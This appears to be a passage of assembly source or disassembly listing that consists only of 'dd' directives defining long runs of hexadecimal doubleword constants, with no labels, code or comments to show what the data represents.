dd 5013773Bh, 7E879F58h, 10BFF743h, 8AEFD6A2h, 0A475B0D2h
dd 0A2AD1DC4h, 6821322Ch, 0A409A143h, 0FBA6C8D0h, 4C257166h
dd 847CD4F8h, 0A3DEBC12h, 8323E447h, 10805D45h, 3A7D1938h
dd 2814BBAFh, 12740CA3h, 4F2D2025h, 5B24AEFCh, 0D9B8C0AFh
dd 323A7AEBh, 7CE44C59h, 0ABE217F9h, 301468B3h, 2B58A1B7h
dd 9DFEDC65h, 2761164h, 21AF0D19h, 0BC8CA812h, 0B8905A10h
dd 8E183621h, 2A8FA7B1h, 14F060AFh, 0F83E2A02h, 0A08C7CC2h
dd 5C4130E2h, 48200905h, 0AF8C8870h, 0C1474130h, 0A62F39A3h
dd 1A32458Ch, 0FB8880E4h, 99AB257Ah, 5098327Ch, 3221B310h
dd 491DAB4h, 0E11840DAh, 40519ED1h, 88B453A0h, 13E06A31h
dd 5564205Ah, 0D1D52984h, 97E21D94h, 0CD4543Fh, 0C851B310h
dd 4680A1B8h, 0C8C996Ch, 8C2B3928h, 4E50D16h, 5E85042Ah
dd 15883339h, 406CE04Ch, 29843EF4h, 31948F8Ch, 253B4140h
dd 50506660h, 148A2628h, 999A6880h, 0A129CF0Ch, 86EB00E0h
dd 23FC0C99h, 4CEBD54Ch, 0B8A8A1B8h, 64802814h, 850C99D1h
dd 34E15F39h, 3DA29C5Ah, 37EF443Dh, 0A0AB8C2Ah, 212C24E4h
dd 0CE31EC39h, 2E1D0845h, 7488D825h, 61796A10h, 0CAD4F850h
dd 1AB0828Fh, 50D2ABA4h, 6FA8E453h, 2C858681h, 0D8EA5379h
dd 5856DC5Dh, 934C23CAh, 0C42C3FF8h, 0B16B88CAh, 0E01BCAEAh
dd 50FF21E8h, 3868944Bh, 0FE132904h, 7B0407D9h, 4788C846h
dd 21B00AA2h, 4830AFCCh, 86B71D75h, 3E70D59Bh, 3B445E87h
dd 9C02B541h, 30E92566h, 95AB5B3Ch, 0E891D547h, 0E043C47h
dd 792C9FBCh, 3C70D854h, 475FE3FAh, 616B8BECh, 48DEC2C4h
dd 0EE7A1Ch, 5161EFABh, 1015D59Ch, 1175F900h, 4ED6D3FAh
dd 0E106009Eh, 71FBA2A7h, 2505ED23h, 0A486E519h, 806E24E1h
dd 0D56279FEh, 3A3C501Fh, 0C7B7B1C0h, 787602h, 65F5DB07h
dd 102D73E2h, 52FF7F03h
dd 0C0D1307Ch, 9C55DE8h, 2B9266D6h, 0E4640020h, 9601DF01h
dd 0A8B9139Ch, 0ABD0B4D1h, 60B7EE41h, 14F38E8h, 32003F03h
dd 2589BB0Eh, 307A55E2h, 5A49A3BCh, 5E000C2Dh, 0B18C1BB5h
dd 34CEADBh, 7702492Ch, 29002A9Dh, 80A0B9E0h, 229C5Fh
dd 39F4218h, 0C03DDE13h, 7572CB00h, 0CC3682A7h, 258F09E1h
dd 28A55321h, 15244087h, 0A0884007h, 5F07A67Ah, 0FDE7BBDFh
dd 174019C7h, 0C04D857Bh, 52DE0639h, 5F0E2876h, 4002DC2Ch
dd 9D0369A7h, 6B538CAh, 0FEFA189h, 0E1970881h, 0D9C52054h
dd 5E812603h, 0E8A21D88h, 0BE76EFh, 22AE438Dh, 5A558AFCh
dd 0A1F8F00h, 250664Fh, 58621F7Fh, 54BE0378h, 55C07D27h
dd 7A007937h, 7E7C4FEDh, 147F3123h, 140C6675h, 46C157A3h
dd 4930837Bh, 0E03D5C67h, 8037517Eh, 450F0221h, 60255076h
dd 554E378h, 38591862h, 4330904Eh, 18E27237h, 4D255540h
dd 215F0E7Ch, 809B644Eh, 3C37283Ah, 490E9D73h, 4F265203h
dd 46780D72h, 0CC31547Eh, 59DF4927h, 0C5D704Ah, 0A054EC62h
dd 78420B84h, 4A090550h, 265C75h, 45032188h, 29C0ED71h
dd 0FA972BECh, 5C5B3CABh, 20D0FF0Ch, 19051D49h, 992A5586h
dd 0D6B61800h, 0FEA2FFh, 23679D56h, 72C3F655h, 8E3E6603h
dd 0A06EE440h, 7E2ED2A6h, 0DF29039Fh, 5C5A2CB5h, 0EB54BDE0h
dd 0BBE51A24h, 0D1FDA503h, 9D710038h, 25CE133Fh, 8E80EA18h
dd 0C15746Dh, 5952709Eh, 0DA011728h, 0DEAFED4Eh, 0FC01F391h
dd 6CA1940Fh, 79AA2218h, 68AF64D4h, 0F7FC215Ch, 83373183h
dd 18318EF8h, 98DF59DBh, 0ABCE22E2h, 15E40F09h, 610D2040h
dd 2C0F29C9h, 0F6B898AAh, 6595D559h, 218C3058h, 41DAC3A8h
dd 0A8622Ch, 7E41E779h, 0C2560CCDh, 8220F4B8h, 9155A905h
dd 0D008F695h, 3121C48Fh, 0B318477Eh, 49632E7Fh, 1DE9E731h
dd 18F9F3B9h, 0C0D968CAh, 2819ED79h, 9AC8EC99h, 0C776C610h
dd 55DC43E9h, 0A7EBF106h, 1931DC08h, 185B80D4h, 24C51ABh
dd 545840AEh, 0F8600325h, 13D6B791h, 56FC3790h, 1119C039h
dd 86F7D5A6h, 84808C30h, 4C595418h, 58FF5173h, 1A9E813h
dd 68DF9791h, 0BE5C44EDh, 7EC20539h, 0A421A0E7h, 0C90AF204h
dd 0C474362Fh, 2CE8A7B8h, 644284DDh, 0C018A0E2h, 10148C06h
dd 2128CBA6h, 0CE425C3Ch, 0FC8FD410h, 88104244h, 0A8514FE0h
dd 88F842D4h, 0A8714FF2h, 9FF442E0h, 0A8DC1161h, 881C4240h
dd 6A744481h, 0A21E7810h, 1A0C11B4h, 841FD19Dh, 5CC8F2FCh
dd 226C9A2Ah, 8C9123D0h, 31F0DF0Ch, 0F34D24C2h, 0E1A14060h
dd 61D252DAh, 11848C14h, 10258D1h, 125D7BDCh, 10F2C27Fh
dd 266D370Ch, 98BC41DAh, 0B59A6187h, 29DF4414h, 0A4DE8208h
dd 268C6CEEh, 61D0FA03h, 42719E3Ah, 5084FD74h, 0CCBCC8C3h
dd 0FB31ED67h, 88FE405Ch, 0A029BB1Bh, 0D50AA008h, 0F06A98A3h
dd 3464496Ch, 0C121FDB0h, 67FCCFA1h, 46AE1070h, 0E27B8878h
dd 0B491C32Ah, 0B31B205h, 0A0807144h, 323763Ah, 0D784E03h
dd 52A0480Fh, 0B100490Ch, 9D7E3268h, 1F7B69F9h, 4A567Ah
dd 3A372348h, 0B055573h, 222AF4Eh, 360D08C1h, 28B07BD1h
dd 73450E11h, 7F5C0AF8h, 3A007910h, 7E372048h, 0F13354AFh
dd 0F251870h, 3856674Eh, 80237F07h, 0F52757Dh, 0D100045Ch
dd 6BACAF04h, 7F383C12h, 421B400h, 0A5366549h, 0C58D8C18h
dd 19131C11h, 240070D6h, 6ADC0237h, 0D5B006D1h, 18418A08h
dd 8FD7793Bh, 8556FD4Dh, 2CC855DFh, 18B71329h, 52F40FE0h
dd 806A8505h, 921A231Ch, 0D409F674h, 46CFAEB5h, 0BEEA8Ch
dd 2945DEA6h, 0A0E482D1h, 76D9BF05h, 0E0C039B7h, 128B426Bh
dd 9B962C5Fh, 8F507BC8h, 0ED187D40h, 40D9DA0Ch, 0AA5A3A85h
dd 2428EF78h, 0C007AC18h, 7CA49278h, 6C024702h, 3CF788F1h
dd 97FF7E07h, 0A780FEB4h, 98EA9D10h, 6D68C1E4h, 17CBD67h
dd 7601013Dh, 8F890EAh, 0A810985Ch, 18A73EC1h, 0EF40C94Fh
dd 9050C685h, 0A44A7820h, 0F8BF6045h, 8268C28h, 8F1A243Bh
dd 0B8086DBh, 0B6EAF2B0h, 88C26804h, 707B5700h, 0F51C240Bh
dd 0A194108Dh, 0EBDA02C2h, 6EEF5A41h, 0ABEDDFC0h, 485089CAh
dd 4EFC0932h, 64144828h, 9E430AFh, 7CCD35AEh, 9C8E00FFh
dd 84924AB9h, 3B01EF38h, 49035553h, 45E45EAFh, 0B231E66h
dd 62511647h, 50C16578h, 615FC548h, 100DF054h, 9E852F6h
dd 56634500h, 0FA90274Ch, 44A670h, 0C9A02D19h, 75724C52h
dd 0F045353h, 95646CB7h, 7089010h, 55624318h, 30AA94C8h
dd 269F68C5h, 83432008h, 823E8858h, 0D2A04029h, 9294E424h
dd 1099C4CCh, 90084C3Eh, 98125589h, 486730B6h, 104A7C59h
dd 0C6126A51h, 0C8889A27h, 2A88CF08h, 94207020h, 9C444D0Dh
dd 94F00ABEh, 11420C3Dh, 8CB23Ah, 5E996850h, 84D4A131h
dd 9228513h, 98834482h, 86129989h, 9C488724h, 9A229D91h
dd 89909B44h, 249E1291h, 9194489Fh, 7C922295h, 72AC0093h
dd 6E05035Fh, 165246A9h, 0B85932F4h, 528496ABh, 14EB0486h
dd 2808ED4Bh, 4C00BC5Ch, 998F5D4Dh, 3E5F5BAAh, 140057EDh
dd 0A6B155F2h, 5C3E5415h, 534D9D84h, 0DBAB6907h, 0A3477187h
dd 408C79C7h, 205BF821h, 74401468h, 0F5A600B2h, 0ED844154h
dd 48943D25h, 487FED7h, 5E9255FFh, 1C1D88B3h, 63C826Ah
dd 9D2F576Ch, 0AC3852BAh, 757F0826h, 65811A3Dh, 7803724Ch
dd 45610991h, 0FA040B38h, 0C22BB0AEh, 0B27100AAh, 0BFF47220h
dd 0ED62183Fh, 9590E421h, 0CF09C038h, 1A0760B0h, 263C70C3h
dd 5621C3h, 0D953D818h, 4F55F901h, 57799314h, 0A13E1Ch
dd 0C65D2D05h, 0A45E4A37h, 0A7A95E28h, 437506E4h, 33416831h
dd 0AF31258Ch, 0DB397C00h, 288CA6Eh, 68A20073h, 0A369345Ch
dd 1A3C2CAFh, 726A0244h, 8F60D291h, 7A20A084h, 992A57h
dd 45A4C6AAh, 88C0D515h, 2686500h, 9436E08Eh, 127B0026h
dd 0D51FD8DAh, 0A200CB1Ah, 72C830EDh, 380ABAh, 7D9357EFh
dd 42F46ECh, 7956AD00h, 0A11B6AA7h, 422E30C0h, 91A4F68h
dd 0AD60A6F0h, 0A3517F10h, 0AC3A2010h, 5E897307h, 0DE9BA99Ch
dd 2562026Ch, 0B880A418h, 0D7C77A8Eh, 56FEBD03h, 803E8F2Ah
dd 1090633h, 7A972EAh, 0E00B9DC7h, 590087F8h, 0CBAE9CFCh
dd 86F7F9h, 0A8EDA37Ch, 33CDD808h, 81DF1C00h, 0E7EBC592h
dd 0D43700AEh, 0F088C85h, 0EFF8BC0Ch, 62DF860Eh, 34B980EAh
dd 3A7281E9h, 67C0459h, 0AAB0EE6Bh, 0BA1F40C3h, 0A614DAC2h
dd 0A09A14AEh, 0DD039F40h, 0C097E7C3h, 0F8F44D1Ch, 0B0EB3CCDh
dd 98603053h, 8DC93A1h, 51081CA6h, 8F92EEh, 0DC366C0Ch
dd 0A2E8DDB0h, 4E5060A6h, 4D56478Ch, 0DD93E004h, 92EF0308h
dd 0D21F02DCh, 0CD9C4A0h, 0A00018ACh, 0A1EDEB37h, 2CAD6C2h
dd 0B5D80B9Fh, 2CB359DCh, 40AE86D1h, 779C87C4h, 9715FCF8h
dd 8F38F10Bh, 0E37D800Ch, 0FCCD88E8h, 0F2D1FB96h, 401C145Dh
dd 0E8F10059h, 98047D61h, 0EE7467A0h, 0D8369714h, 0D9CB02F8h
dd 880579B4h, 5E55044Ch, 631AE700h, 5786E1F9h, 0BFF300FCh
dd 97872A59h, 0DFE8D7C2h, 34A30826h, 86E97D04h, 0DC4700D7h
dd 1233288Ch, 40E8D872h, 0CEA08B98h, 973EF014h, 0B9851335h
dd 48504019h, 3C6E0CE0h, 204CF2C2h, 0E8026CD4h, 8AE7378Fh
dd 0E2D9EC41h, 191A744Ch, 89161C6h, 0FE570460h, 30080C24h
dd 0B0DDCB01h, 80D17853h
dd 932C9064h, 401C1240h, 0DD942E58h, 54B0D434h, 0F02D0B09h
dd 87D081A7h, 99E00DAEh, 40CA6292h, 0C060D8DCh, 0E601C553h
dd 0D7B9DFEDh, 51D3BE93h, 39C08C10h, 0A3350292h, 0D934A185h
dd 0D27C70C1h, 0D87EFC60h, 0A0902C7Eh, 0C57C5AB0h, 3162DFF0h
dd 4334A960h, 0DA5800ACh, 2E08A685h, 40C1AB84h, 0DB36BA2Ch
dd 0C8BC92D1h, 0E73BA83Ch, 9330C7F4h, 0FCDBC753h, 0DC7C85A1h
dd 0A086DE00h, 0A6EDD83Eh, 8798A40Bh, 0F86AD504h, 78DE3650h
dd 0B9B97881h, 0C36181D4h, 665380D6h, 7D23C60h, 0AEEFEE60h
dd 0DDB1D991h, 1849B827h, 35BB8AC2h, 30AAF041h, 0A03A9E1Ch
dd 0E89324C5h, 8D2CDC03h, 1630E6C4h, 1E84DA36h, 0DD900F7Ch
dd 9286E500h, 40941CC0h, 7ED70448h, 81F80C0Bh, 8EC4218Ch
dd 0B460E5CBh, 89E4B308h, 0CB0E9B9h, 2C1DEA67h, 0DC2C09BEh
dd 8D100819h, 2C287CD3h, 49C4EBC2h, 0EFB91C03h, 4CDC094Ch
dd 9FE452C4h, 0C8C25032h, 2E3D9FC0h, 420DF85h, 0C3D8A095h
dd 697CAE10h, 973A3678h, 20D92EA7h, 96DC9342h, 0F93C902Ch
dd 13C2AEDCh, 0DDDEDDAh, 6058B534h, 360F8C20h, 99BE9CA3h
dd 809461B0h, 4D218F2h, 0DA0DCE50h, 491FF38h, 57BF8EAh
dd 5697D2F1h, 0E084B5DFh, 0EA21C1B9h, 872AC20Ch, 0F50B189Dh
dd 0DAC8009Ch, 2908B9E1h, 0DE68B0DCh, 0E7EA6C01h, 80DAD8ABh
dd 5DDCD860h, 850264FCh, 81E508A7h, 0F86618ABh, 0F0535089h
dd 0A8E8E5FDh, 2086A02Eh, 34AB8B82h, 838E0A2h, 1D449ED6h
dd 36AA04E8h, 4F3CF2DCh, 0FB4ED431h, 0BC5D0h, 0D834B992h
dd 0EBC0A193h, 6301DFF0h, 7CAA86EEh, 907098EFh, 8AFC3A0Fh
dd 60410B3Eh, 3130B850h, 0B4EB21E7h, 0EF371DDFh, 0DD340997h
dd 2D8150E9h, 800C83C8h, 0BC680B09h, 0E082C252h, 0E8E2E47Ch
dd 6C643417h, 0BEDFECB0h, 5F34E850h, 87DDCD05h, 8B0590F7h
dd 80A37Ch, 83CD2EF0h, 0E11C2D54h, 868137DDh, 85E6CE53h
dd 0BB812180h, 8CEDD8C5h, 0C8A1E7E8h, 743038B9h, 0E020EA5Bh
dd 29DD6033h, 0A938A181h, 0F1EB7E10h, 0BCB0F87Ch, 0AA0DE8DFh
dd 607C2832h, 378E2474h, 0CDC201Ch, 0CDAA84D5h, 0C107AE20h
dd 329286DAh, 0CBA08541h, 0E05DB838h, 70E59C5h, 8A2D52C4h
dd 0B975418Ch, 0C1EC2809h, 8F92E733h, 0D8B1FEF1h, 47DC8788h
dd 525343DCh, 405C86B4h, 74F9878h, 0CA268ABCh, 0A9283C04h
dd 0C2920180h, 0A045D8EBh, 0C5B042E9h, 60B9F0A6h, 0E36A917h
dd 780BDCCCh, 0B9A619E8h, 1DAE9ECh, 58552EC2h, 4993DC31h
dd 3061602Dh, 68D8D737h, 9CEFC1D4h, 4420CDA3h, 94F4A692h
dd 0F0E8C964h, 804FDCD8h, 81ED300Fh, 0DF86E663h, 0E885EFF1h
dd 497EE60h, 0A281DCF0h, 20ADFF18h, 0C513A9B4h, 0DC01EDD5h
dd 0CBAAEBF2h, 0F6C40CCCh, 0DF1507CFh, 2094CAB8h, 43240768h
dd 49839300h, 263EA0C6h, 66993AC4h, 89F15960h, 1F00EE17h
dd 0EA402AA9h, 608390ACh, 0B14C38D1h, 51EA124Ah, 7097333Bh
dd 0FEA4DF0Ch, 209648E7h, 0A5002FC9h, 303C08CFh, 33B32049h
dd 330FBD1h, 0B7F57BD0h, 4E38F618h, 0AD95920h, 9562832Bh
dd 0FE927320h, 20CE0D30h, 3F0D4B90h, 0A02BF24Eh, 0F8A78C00h
dd 14950177h, 0C62FC0FAh, 0B908920Ah, 1DB8F0h, 28B077FFh
dd 0B4F38F19h, 0DDD4C44h, 9BF898A3h, 91589118h, 9677829Eh
dd 0B831A214h, 77FA5210h, 0B672CD00h, 0BB2A93E2h, 0E95100D9h
dd 20C4EB4Ah, 0A4A0C7F3h, 4007EDEFh, 0F6B45086h, 84453BC5h
dd 0B80425DAh, 84410CBBh, 98F9A97Ch, 47698190h, 1F8F482h
dd 30263883h, 5894F1E3h, 7481421Ch, 0C6001822h, 7D71E630h
dd 640F4F93h, 0E6ED6194h, 3759A2C5h, 0E0613DBEh, 0FA36DEF3h
dd 4F03CF76h, 0D40DB581h, 74B9B68Ch, 441530E2h, 0CE498031h
dd 283CE824h, 809AEE8Eh, 58DE4EFh, 0EDC73028h, 8FA90819h
dd 92152202h, 456A8133h, 34A26430h, 0B968A4h, 269CB4D7h
dd 0FC794649h, 1C131B29h, 0FB27AC90h, 0B32A7048h, 0C124CA49h
dd 14CF7A5h, 4D9A5C00h, 8FD84B50h, 8E2B0B0Eh, 9D41D805h
dd 0E363005Ah, 78AEFD52h, 8E2B2A54h, 83D1E0B7h, 0E1FDC81Ah
dd 46830CE7h, 2D1F599Ah, 0C604ECE8h, 0A7864FE0h, 21386009h
dd 54ECFC0Dh, 1326B9FEh, 0CA0300A1h, 42D9F30h, 0BAA98178h
dd 0EE0CC8BCh, 8CFFA50Ch, 1414E046h, 90602183h, 7CF9E844h
dd 0EA90A805h, 0B866053Fh, 7BEC7D8Eh, 98AD118Ch, 0A0D6C482h
dd 37917495h, 0C8033280h, 0CE006E97h, 0B6982E7Bh, 2A0C950Fh
dd 0DF4A1B2h, 2F20D6C5h, 5E801A8h, 0F7D18048h, 0DC1ED915h
dd 8C751DE9h, 268841F3h, 5F4709FBh, 20867A70h, 0C60A387Eh
dd 0B0ABAFA1h, 3B23E820h, 49C80148h, 303D465Eh, 3514C3C8h
dd 0F220BCF0h, 0E4084D4Ah, 0C272603Ah, 0EEC4043Dh, 8C3E51C7h
dd 0A91847E4h, 4070A3C6h, 39496016h, 28034B3Ch, 4C01CB14h
dd 2AE70AA4h, 2F80E4A1h, 0AA9CCEA5h, 93FA0EA9h, 0D9AF2736h
dd 91BCE640h, 0EC4CB604h, 599B0890h, 998F0166h, 22823C7Dh
dd 122C0528h, 0A80021CBh, 24FE03E9h, 3044923Ah, 0B9794D9Bh
dd 173E77CFh, 7CD9023Ch, 68D630F6h, 0B0C3FE3Ch, 0E3843224h
dd 58A7D320h, 0FE59D0EBh, 0B0922C04h, 88645300h, 296DCA95h
dd 55B23334h, 9100DB08h, 0C1886C72h, 723BE79Dh, 443E0254h
dd 67172FF2h, 0AC1D4C64h, 0C500A1CDh, 0C14F08DBh, 4C1004C8h
dd 93A25A76h, 0DCF238B8h, 62A1BD00h, 32F8A00Fh, 0C5D77E12h
dd 6B7D4F18h, 13C30050h, 2BE8148Dh, 0DCC8A8ADh, 0DE680FAAh
dd 0A4E1F15Bh, 0D851CB39h, 0A50036DDh, 75E42641h, 0A0F74691h
dd 474CB898h, 6A0C7D30h, 0A0274390h, 0A3C400E4h, 30359269h
dd 0D063B799h, 0E2A11918h, 0C6204095h, 0DE183068h, 0BD0CE618h
dd 0EA014C93h, 90C66FECh, 0F883018h, 0B3EC07E6h, 0C043B95Eh
dd 0A2E46548h, 0F88C4D54h, 887A0F8Ch, 88D1CAFFh, 626C8154h
dd 0CC8D8F88h, 953E611Bh, 0AD301D97h, 99EEC6Ch, 96531D41h
dd 0E4503AC6h, 4974C7A5h, 0CB083831h, 9A076165h, 34765733h
dd 1B200029h, 6CA5F6D3h, 8D334975h, 28086Fh, 0D283C021h
dd 0C89D1AD9h, 0D7BA520Fh, 0A3B0F474h, 0FBD823CCh, 0E2887B00h
dd 862AC5CAh, 897F44h, 937B8863h, 4A459A72h, 0FE48D0h
dd 8983FAF0h, 485567Ch, 6A78BA2Ah, 79D0882Bh, 384BFE00h
dd 753AE84Ch, 0E3B70787h, 0C23D2812h, 584C6735h, 0AB986208h
dd 0B023532Dh, 887001FAh, 0ECDCAE9h, 88788E03h, 75FBA974h
dd 4EF10383h, 2B07696h, 149177F4h, 10BB31DAh, 6077FCA9h
dd 0F9216A47h, 7A2E0641h, 851FB471h, 0F060A020h, 0F014813Bh
dd 6680481Dh, 2A8832CEh, 94615318h, 8FF18BCh, 0E8C67AECh
dd 9E70870h, 1902D0ECh, 0D53BE002h, 82718101h, 0A5AB00C2h
dd 0F5056E4Ch, 2F01832Ah, 5C9934C4h, 0BAF25472h, 0DC8F30h
dd 9D6D410Eh, 0DFB0CD4Ah, 7C48353h, 0CBCE84A9h, 0FC5DDC40h
dd 7E4604AEh, 987833EFh, 0D2089054h, 70B4A5EDh, 0D30218FBh
dd 95F546B5h, 5BE0E017h, 7A117C7h, 900843AEh, 0F83E2F67h
dd 7340758Ah, 0EE4B888h, 9BE7AB34h, 9796C5C1h, 390C361Fh
dd 83899CEAh, 0FDE42064h, 94886160h, 2955CA10h, 738757C8h
dd 0DE7389A9h, 0DD8BE8BAh, 3EA791Dh, 7FC7B7B2h, 0B9A03F8Eh
dd 0B0D3B803h, 0CFC00418h, 3F2088A0h, 18830D40h, 18BB6251h
dd 6B206909h, 33071DD4h, 41E69DF0h, 9AC929FEh, 0D9E4F8B2h
dd 689068A4h, 95028246h
dd 0F8C664ECh, 0E0048E7h, 4323ECFDh, 120E1A8h, 58504929h
dd 3F20C73Dh, 0C6CB2008h, 0C0311975h, 0C8344AA0h, 0FF70C036h
dd 0A2384162h, 986A84C9h, 5890D9F3h, 539F33A1h, 0DBB2C03Ch
dd 79FB4E30h, 0A80C5038h, 822FF9Bh, 0C896B882h, 8F08A464h
dd 3B195Eh, 5844A931h, 2DF83D43h, 0EAC479C7h, 0A62E7641h
dd 2C863474h, 64ECBE57h, 0C814CB3Fh, 0E418C0A2h, 3267B43Dh
dd 7E403B69h, 4C895E8Ch, 0FD82EC3Eh, 982A972Dh, 1D5465Ch
dd 0E9C3A3F9h, 88418B44h, 10ADA4Bh, 1F543188h, 0E8411E6Bh
dd 0E30CBE18h, 0C666EC08h, 91CF88h, 0D7ECEB04h, 79DAE8h
dd 0D4451D0Ah, 5FA5C264h, 0A001A14Eh, 7F559B46h, 24D71C20h
dd 5828C8C6h, 73000D80h, 33937D4Ch, 2AE3096h, 0C843F59Ah
dd 9C60EF09h, 0B8A018DCh, 0A125C66Ch, 903405ABh, 200804CAh
dd 0CC012CFBh, 5231C379h, 0FF8DE0DAh, 90C44CEBh, 0F1242220h
dd 83C09C95h, 5CA35FB9h, 2EB5103Eh, 0FE8C7E74h, 0D6CF0084h
dd 0D514457Eh, 21C002B4h, 0AFF82E3Dh, 0CE0C0F3Bh, 0E65D4464h
dd 2282008Ch, 406841B2h, 1D300090h, 0C486D8DEh, 0DC84534Fh
dd 39B48E0Ch, 3F07C251h, 0B90C7480h, 82377770h, 9D7000BDh
dd 1544E869h, 340BABC2h, 2C186E7h, 9625548h, 0EC8C00B0h
dd 0C86CB949h, 0E6F7C7FDh, 6CAC4E1Ah, 1906A344h, 0C86877FEh
dd 12D0329Bh, 0E80F94E7h, 27D3A462h, 6F03408Ah, 42B1920Ch
dd 0FDF5E900h, 4D8F8568h, 0A8755C58h, 38C56E8h, 0B0946A2Dh
dd 0A0D92E6Dh, 5044274Ch, 48C56A8h, 0A5F7D31Ah, 203F6284h
dd 51D282CDh, 9F0E4B3Ah, 1600219Ah, 6A536ECFh, 18C44877h
dd 0A07CB6A4h, 0C032219Eh, 454ADD71h, 0CB1D3919h, 0E0879250h
dd 54AC5A09h, 0A8FF58CFh, 3D576D04h, 1E35D47h, 0A5F0D295h
dd 88D118BCh, 0D213BDC2h, 68010F52h, 0CCCFBA78h, 790440C2h
dd 8BB914C6h, 0F501D002h, 8790E8CDh, 0DC98EA7Ch, 92105C6Ch
dd 98074CE1h, 79DB5FE8h, 65B46488h, 0EA8C6031h, 0B0C3988Fh
dd 50C0F6DAh, 262D7471h, 7674E9D9h, 39032B46h, 0CECC5732h
dd 3BE95FE8h, 0A0332606h, 9295DCAh, 45755EC5h, 4E6A3C90h
dd 0A54CA203h, 2330CD7h, 7147A918h, 0E976B6h, 20C4715Ch
dd 0C7400F18h, 4418B0FCh, 20C36F89h, 87502AA9h, 3C1CD5C1h
dd 81B3D085h, 20F8C84Eh, 0B0B91E7Ch, 0DC18A5D9h, 526B503h
dd 0D845988Ah, 6A0EAF8h, 43123203h, 4F0D9823h, 0B849C676h
dd 57F2D472h, 80F09F31h, 0E1350092h, 0CA37A803h, 30A0AB20h
dd 20E9DE56h, 4E00B2E4h, 6BE194DCh, 9C7251C6h, 4DCF41C8h
dd 0D87FECF6h, 117CCCB6h, 0ED59487Dh, 0CC1541ADh, 37038D17h
dd 0AA44D48Ah, 2B4840F9h, 2EEE4B8Eh, 1C2B239Ch, 0BD538186h
dd 3C0B4B3Dh, 0C4FBCA38h, 6F80FF11h, 65CAFE88h, 0D8222943h
dd 5288E6A0h, 0FFFB3728h, 8214C548h, 5069B31Eh, 0FEDD15D8h
dd 310E8044h, 23240B8Fh, 261CC866h, 0A73BC700h, 0AE835725h
dd 0BB42001Ah, 31CEB10Ch, 0C40BF417h, 292EA390h, 3A5CCC80h
dd 9F427DB3h, 461D9305h, 97171897h, 0C7837312h, 60B84410h
dd 4CF3A069h, 35090C7Dh, 0CCC17C3Ah, 97828A7h, 0E1B94608h
dd 0BC62E758h, 1E3030F2h, 41D3070Ch, 0F02B0197h, 0C7B981ADh
dd 1060ACE5h, 2326F08h, 0CCF68FF4h, 9BF8B0D0h, 0C452B26h
dd 0C0C8330Ah, 6365CB61h, 73968042h, 0E3EB70F0h, 0E40FEE00h
dd 5A8722Ah, 0FA21C07Ch, 5863433Eh, 0CA1D8807h, 0DF90604Ch
dd 1EE97207h, 0E8E1B8D0h, 0BB2B0DBCh, 2088417Dh, 0DCAA3144h
dd 45F26843h, 27C6C725h, 0D6123F18h, 0C5962674h, 0A4F04CFCh
dd 832283Eh, 98AFCBDEh, 6D4A210Dh, 0DBB7F712h, 0C693E004h
dd 0A8CECA5Fh, 831E84E4h, 43E8E115h, 27828AC8h, 62A13C01h
dd 30CAD983h, 403F297Bh, 0ACA689CBh, 23CC913Eh, 0CD298010h
dd 4E603D7Fh, 9F386439h, 2187810Fh, 0B86C250Ch, 0ECB20131h
dd 0B0D9F002h, 1215B8D4h, 60E74E34h, 9477F144h, 96F2142Fh
dd 0BC1C4CB0h, 84808F38h, 9971F0FDh, 650018F4h, 95EC0B5Ah
dd 613AB43Fh, 8FA950E9h, 6908DCF0h, 43224714h, 0E74A7734h
dd 3023982Eh, 0D464420Eh, 0D6260096h, 433D3775h, 93C60A98h
dd 38C8490Dh, 4F68400Ch, 7B4F5539h, 605E1022h, 80E902BCh
dd 0F17013ABh, 55140C00h, 2798F68Ch, 8578BB32h, 9210F7A5h
dd 24412A44h, 83F42251h, 92019033h, 4028EF46h, 90C5BB4Fh
dd 2338A725h, 749517A8h, 1ED0B6A9h, 4823F6Ch, 0CEA98264h
dd 384434E8h, 22D7F727h, 40BD0F04h, 9896BC18h, 0D6301F38h
dd 31CF1883h, 435498CAh, 0FD1751C8h, 0F8C81240h, 0BA30B0B9h
dd 219926E4h, 24B03934h, 803D8BB1h, 3A87B700h, 4A78464Bh
dd 435C00A0h, 2161DD90h, 0FF58B549h, 0CE7961B8h, 8060385Dh
dd 6D3C1CE7h, 8FD16CAh, 91C0791Ch, 53A5ECD2h, 0E68094DCh
dd 0FDF7D319h, 0FF393008h, 0B4540436h, 0BB54D1EFh, 348104BAh
dd 39838CE5h, 4E352C9Ah, 923F84A7h, 4C93C764h, 2DBB46B1h
dd 0B844C18h, 4C274B23h, 0ABFB02E4h, 85DEC1Eh, 4ACD4ECh
dd 501700A4h, 944BAA9Bh, 0EB884103h, 7709ED18h, 1CD21490h
dd 0F5A830B4h, 8F106520h, 0EB66311Dh, 9B150401h, 78BA6AEDh
dd 6629761Eh, 0C9A006F8h, 526F1E7h, 80BB0841h, 0A9B72434h
dd 0F556DFDh, 9C2D33ECh, 764D8141h, 3CF87159h, 8CDEE8F8h
dd 7C46622Ch, 0A2320D0Bh, 0EABD5E14h, 0A5948220h, 0BC050166h
dd 0C438825Ch, 0EAC5F338h, 2A4023BCh, 8EF900ACh, 0D30DE49Ah
dd 60001471h, 1B9CA930h, 14977782h, 34870294h, 67813383h
dd 9003C05Eh, 0D8134246h, 39FB6664h, 0CB8676ECh, 9C4BA4Fh
dd 46216A60h, 3BCECCDh, 0BFFF48F0h, 180335F8h, 0D18F286h
dd 0DC92A026h, 1DF30643h, 1166F874h, 0B2C10201h, 89331287h
dd 5ED11C51h, 4924A7FBh, 6EA56F00h, 0BC520718h, 0ECCE024Ch
dd 31F3FB03h, 0F43D106Bh, 26E300ECh, 0DDE52D34h, 2300C6E0h
dd 0EB9A9C1Ch, 633F9B7h, 2BE143DAh, 443989B0h, 3D910F24h
dd 0EF2F610Fh, 43D0D13Fh, 7E20C086h, 0A508442Ch, 0FB7B9D00h
dd 0DDFED0DFh, 0D9B30CFh, 3B1C35C1h, 0C5258B00h, 56F5096Bh
dd 0BF80061Bh, 62FC3D78h, 0F27DBE00h, 30E531C6h, 8CB0187Ch
dd 1536E8F7h, 12482C60h, 3BD7653h, 227ACACFh, 918B207h
dd 73206ED9h, 0A9BD007Eh, 14C8CA5Bh, 3F028F1Dh, 6C525E10h
dd 0C3A0A503h, 912E7023h, 0D8A23A1Bh, 24584470h, 1A443600h
dd 0ABA64E81h, 0D63500DDh, 74C0D0FDh, 0C2733F6Fh, 18B4303Ch
dd 0DA83293h, 730A0C1h, 61F430E7h, 91CE80E0h, 49318305h
dd 0CC40755Dh, 7BACBA24h, 3D8000AFh, 30457A0Bh, 71415FFh
